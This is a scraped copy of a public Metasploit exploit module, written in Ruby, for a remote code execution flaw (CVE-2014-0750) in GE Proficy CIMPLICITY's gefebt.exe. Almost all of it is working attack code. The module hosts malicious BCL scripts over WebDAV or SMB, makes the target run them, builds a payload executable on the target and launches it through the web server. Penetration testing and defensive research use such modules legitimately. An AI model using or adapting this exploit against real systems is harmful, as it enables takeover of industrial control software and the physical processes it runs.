Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Auxiliary::Report9include Msf::Exploit::EXE10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize14super(15'Name' => 'GE Proficy CIMPLICITY gefebt.exe Remote Code Execution',16'Description' => %q{17This module abuses the gefebt.exe component in GE Proficy CIMPLICITY, reachable through the18CIMPLICIY CimWebServer. The vulnerable component allows to execute remote BCL files in19shared resources. An attacker can abuse this behavior to execute a malicious BCL and20drop an arbitrary EXE. The last one can be executed remotely through the WebView server.21This module has been tested successfully in GE Proficy CIMPLICITY 7.5 with the embedded22CimWebServer. This module starts a WebDAV server to provide the malicious BCL files. If23the target does not have the WebClient service enabled, an external SMB service is necessary.24},25'Author' => [26'amisto0x07', # Vulnerability discovery27'Z0mb1E', # Vulnerability discovery28'juan vazquez' # Metasploit module29],30'References' =>31[32[ 'CVE', '2014-0750'],33[ 'ZDI', '14-015' ],34[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-023-01' ]35],36'Stance' => Msf::Exploit::Stance::Aggressive,37'Platform' => 'win',38'Targets' =>39[40[ 'GE Proficy CIMPLICITY 7.5 (embedded CimWebServer)', { } ]41],42'DefaultTarget' => 0,43'Privileged' => true,44'DisclosureDate' => 'Jan 23 2014'45)46register_options(47[48Opt::RPORT(80),49OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/' ]),50OptPort.new('SRVPORT', [ true, 'The daemon port to listen on (do not change)', 80 ]),51OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]),52OptBool.new('ONLYMAKE', [ false, 'Just generate the malicious BCL files for using with an external SMB server.', true ]),53OptString.new('TARGETURI', [true, 'The base path to the CimWeb', '/'])54])55end5657def on_request_uri(cli, request)58case request.method59when 'OPTIONS'60process_options(cli, request)61when 'PROPFIND'62process_propfind(cli, request)63when 'GET'64process_get(cli, request)65else66vprint_status("#{request.method} => 404 (#{request.uri})")67resp = create_response(404, "Not Found")68resp.body = ""69resp['Content-Type'] = 'text/html'70cli.send_response(resp)71end72end7374def autofilter75true76end7778def process_get(cli, request)79if request.uri =~ /#{@basename}(\d)\.bcl/80print_status("GET => Payload")81data = @bcls[$1.to_i]82send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })83return84end8586# Anything else is probably a request for a data file...87vprint_status("GET => DATA (#{request.uri})")88data = rand_text_alpha(8 + rand(10))89send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })90end9192#93# OPTIONS requests sent by the WebDav Mini-Redirector94#95def process_options(cli, request)96vprint_status("OPTIONS #{request.uri}")97headers = {98'MS-Author-Via' => 'DAV',99'DASL' => '<DAV:sql>',100'DAV' => '1, 2',101'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',102'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',103'Cache-Control' => 'private'104}105resp = create_response(207, "Multi-Status")106headers.each_pair {|k,v| resp[k] = v }107resp.body = ""108resp['Content-Type'] = 'text/xml'109cli.send_response(resp)110end111112#113# PROPFIND requests sent by the WebDav Mini-Redirector114#115def process_propfind(cli, request)116path = request.uri117print_status("Received WebDAV PROPFIND request")118body = ''119120if (path =~ /\.bcl$/i)121print_status("Sending BCL multistatus for #{path} ...")122body = %Q|<?xml version="1.0"?>123<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">124<a:response>125</a:response>126</a:multistatus>127|128elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))129# Response for anything else (generally just /)130print_status("Sending directory multistatus for #{path} ...")131body = %Q|<?xml version="1.0" encoding="utf-8"?>132<D:multistatus xmlns:D="DAV:">133<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">134<D:href>#{path}</D:href>135<D:propstat>136<D:prop>137<lp1:resourcetype><D:collection/></lp1:resourcetype>138<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>139<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>140<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>141<D:lockdiscovery/>142<D:getcontenttype>httpd/unix-directory</D:getcontenttype>143</D:prop>144<D:status>HTTP/1.1 200 OK</D:status>145</D:propstat>146</D:response>147</D:multistatus>148|149else150print_status("Sending 404 for #{path} ...")151send_not_found(cli)152return153end154155# send the response156resp = create_response(207, "Multi-Status")157resp.body = body158resp['Content-Type'] = 'text/xml'159cli.send_response(resp)160end161162def check163uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe")164uri << "?"165166res = send_request_cgi('uri' => uri)167168# res.to_s is used because the CIMPLICITY embedded web server169# doesn't send HTTP compatible responses.170if res and res.code == 200 and res.to_s =~ /Usage.*gefebt\.exe/171return Exploit::CheckCode::Detected172end173174Exploit::CheckCode::Unknown175end176177def exploit178@extensions = "bcl"179@bcls= []180@total_exe = 0181182setup_resources183184make_bcls185186print_status("BCLs available at #{@exploit_unc}#{@share_name}\\#{@basename}{i}.bcl")187188unless datastore['UNCPATH'].blank?189@bcls.each_index { |i| file_create("#{@basename}#{i}.bcl", @bcls[i]) }190if datastore['ONLYMAKE']191print_warning("Files created, remember to upload the BCL files to the remote share!")192print_warning("Once ready set ONLYMAKE to false")193else194exploit_bcl195end196return197end198199super200end201202def setup_resources203if datastore['UNCPATH'].blank?204# Using WebDAV205my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']206@basename = rand_text_alpha(3)207@share_name = rand_text_alpha(3)208@exploit_unc = "\\\\#{my_host}\\"209@exe_filename = "#{rand_text_alpha(3 + rand(4))}.exe"210unless datastore['SRVPORT'].to_i == 80 && datastore['URIPATH'] == '/'211fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')212end213else214# Using external SMB Server215if datastore['UNCPATH'] =~ /(\\\\[^\\]*\\)([^\\]*)\\([^\\]*)\.bcl/216@exploit_unc = $1217@share_name = $2218@basename = $3219# Use an static file name for the EXE since the module doesn't220# deliver the BCL files in this case.221@exe_filename = "ge_pld.exe"222else223fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be \\\\host\\shared_folder\\base_name.blc')224end225end226end227228def make_bcls229exe = generate_payload_exe230# Padding to be sure we're aligned to 4 bytes.231exe << "\x00" until exe.length % 4 == 0232longs = exe.unpack("V*")233offset = 0234235# gefebt.exe isn't able to handle (on my test environment) long236# arrays bigger than 16000, so we need to split it.237while longs.length > 0238parts = longs.slice!(0, 16000)239@bcls << generate_bcl(parts , offset)240offset += parts.length * 4241end242end243244def generate_bcl(slices, offset)245bcl_payload = ""246247slices.each_index do |i|248bcl_payload << "s(#{i + 1}) = #{slices[i]}\n"249end250251<<-EOF252Option CStrings On253254Sub Main()255Open "#{@exe_filename}" For Binary Access Write As #1256Dim s(#{slices.length}) As Long257#{bcl_payload}258259For x = 1 To #{slices.length}260t = x - 1261Put #1,t*4+1+#{offset},s(x)262Next x263264Close265End Sub266EOF267end268269def execute_bcl(i)270print_status("Executing BCL code #{@basename}#{i}.bcl to drop final payload...")271272uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe")273uri << "?#{@exploit_unc}#{@share_name}\\#{@basename}#{i}.bcl"274275res = send_request_cgi('uri' => uri)276277# We use res.to_s because the embedded CIMPLICITY Web server doesn't278# answer with valid HTTP responses.279if res and res.code == 200 and res.to_s =~ /(^Error.*$)/280print_error("Server answered with error: $1")281fail_with(Failure::Unknown, "#{peer} - Server answered with error")282elsif res and res.code == 200 and res.to_s =~ /No such file or directory/283fail_with(Failure::BadConfig, "#{peer} - The target wasn't able to access the remote BCL file")284elsif res and res.code == 200285print_good("'200 OK' answer indicates success!")286else287fail_with(Failure::Unknown, "#{peer} - Unknown error")288end289end290291def exploit_bcl292@bcls.each_index do |i|293execute_bcl(i)294end295296print_status("Executing #{@exe_filename}...")297uri = normalize_uri(target_uri.to_s, "CimWeb", @exe_filename)298uri << "?"299300# Enough timeout to execute the payload, but don't block the exploit301# until there is an answer.302send_request_cgi({'uri' => uri}, 3)303end304305def primer306exploit_bcl307service.stop308end309310def file_create(fname, data)311ltype = "exploit.fileformat.#{self.shortname}"312full_path = store_local(ltype, nil, data, fname)313print_good("#{fname} stored at #{full_path}")314end315end316317318